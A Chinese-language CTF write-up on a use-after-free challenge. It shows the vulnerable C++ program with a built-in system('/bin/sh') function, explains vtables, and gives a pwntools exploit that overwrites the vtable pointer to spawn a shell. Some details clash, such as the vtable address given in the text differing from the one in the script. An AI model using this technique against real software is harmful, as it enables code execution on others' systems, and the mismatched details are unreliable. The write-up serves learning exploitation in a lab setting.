源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

Ues After Free

​ uaf的原理其实并不难懂,首先需要一个迷途指针,也称为野指针,这个指针时因为在使用玩分配的堆空间后没有将指向堆的指针制空造成的,利用野指针我们可以向这块堆中写入一些东西,然后在申请堆空间,在释放完后马上又申请会申请到那段刚刚释放的堆空间。

这个是最简单的uaf程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

int main()
{
char *p0;
p0=(char *)malloc(sizeof(char)*10); //指针p0申请内存;
memcpy(p0,"hello",10);
printf("p0 Addr:%x,%s\n",p0,p0); //打印其地址与值;
free(p0); //释放p0;
char *p1;
p1==(char *)malloc(sizeof(char)*10);
memcpy(p1,"word",10);
printf("p1 Addr:%x,%s\n",p1,p0);
return 0;
}

C++的一些知识点

多态

​ 这个概念在在wiki上解释得非常抽象,但是上面的源码其实挺适合我们理解的,Man和Woman都继承了Person这个类,introduce这个动作是所有人都有的,但是细分到Man和Woman时他们之间的introduce又不一样了,这就是多态。

​ 我的理解为,在于参考系的不同,这样就存在宏观与微观的区别。。怪异的理解。

虚表

​ c++面向对象编程的多态性需要由虚表来实现。

​ 虚表通俗来讲就是一个函数指针数组,这个数组里面的指针指向了类中的虚函数,但是虚函数表并不存放在类中,类中只有一个指针指向虚函数表。而在c++中同一个类的对象共用一张虚表。

类在内存中的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
+------------------------+           virtual talbe                                           
+ virtual table pointer + ----> +---------------+
+------------------------+ + func1 pointer +
+ characteristic _ 1 + + --------------+
+------------------------+ + func2 pointer +
+ characteristic _ 2 + +---------------+
+------------------------+ + func3 pointer +
+ characteristic _ 3 + +---------------+
+------------------------+
+ ........... +
+------------------------+
+ characteristic _ n +
+------------------------+

程序分析分析

  • 程序开始申请了两块内存

    1
    2
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);
  • 用户选择菜单(1.调用方法。2.申请内存,读入参数。3.释放内存)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    switch(op){
    case 1:
    m->introduce();
    w->introduce();
    break;
    case 2:
    len = atoi(argv[1]);
    data = new char[len];
    read(open(argv[2], O_RDONLY), data, len);
    cout << "your data is allocated" << endl;
    break;
    case 3:
    delete m;
    delete w;
    break;
    }

    可以发现程序没有对释放内存后的指针置空,存在野指针,而选择而又可以申请内存,满足UAF漏洞的触发条件。初步的想法就是先3在2(先释放后申请),在向申请的空间中写入东西,现在的问题是写什么进去。释放的空间是类,写入的数据改变的是类,如果类有虚函数,那么类结构的开头就是虚表指针。我们改变的就是虚表指针,改变虚表指针的作用可以通过IDA查看反编译代码来学习

IDA反编译来理解虚函数表

跟踪变量v12和v13

下面这里有点难看懂,如指针没有学好看这种一定会看晕。我尽量写清楚一点

首先要明白v12,v13这两个变量存放的是对象虚表的地址,因为两个变量类型和操作方法一样,我只说v12就可以了

  1. 将v12强转成QWORD*类型,在取这个地址中的值,QWORD占8个字节,一次取8位,取出的这8位就是虚表的首地址
  2. 虚表首地址加+8,代表取虚表中的第二个函数指针
  3. 将函数指针赋值,在调用,参数就是对象本身(this指针),如果不懂this指针去Google了解下,很重要。

利用

​ 通过上面的分析,知道了调用虚函数其实是通过偏移来实现的,通过+8可以调用第二个虚函数,如果我们得到了虚函数表基址,并且改变,就可以控制函数调用我们想调用的虚函数,而程序为我们准备了这样一个虚函数,我们可以使用

1
2
3
virtual void give_shell(){
system("/bin/sh");
}

通过IDA查找到Person函数的虚表地址是0x0000000000401590,将这个值-8,那么在调用的时候就刚好可以调用到give_shell这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 本机exp,远程失败好像是我没有写文件的权限?
from pwn import *

vtable_addr = 0x0000000000401550
filepath = '/home/fish/uaf/bash'
#filepath = '/tmp/f1sh'
write_stream = p64(vtable_addr - 8)
with open(filepath, 'wb') as fp:
fp.write(write_stream)

Argv = ['/home/uaf/uaf', '8', filepath]
p = process(executable = './uaf', argv = Argv )
p.sendlineafter('1. use\n2. after\n3. free\n', '3')
p.sendlineafter('1. use\n2. after\n3. free\n', '2')
p.sendlineafter('1. use\n2. after\n3. free\n', '2')
p.sendlineafter('1. use\n2. after\n3. free\n', '1')

p.interactive()

这个是链接上服务器后手动getshell得到的结果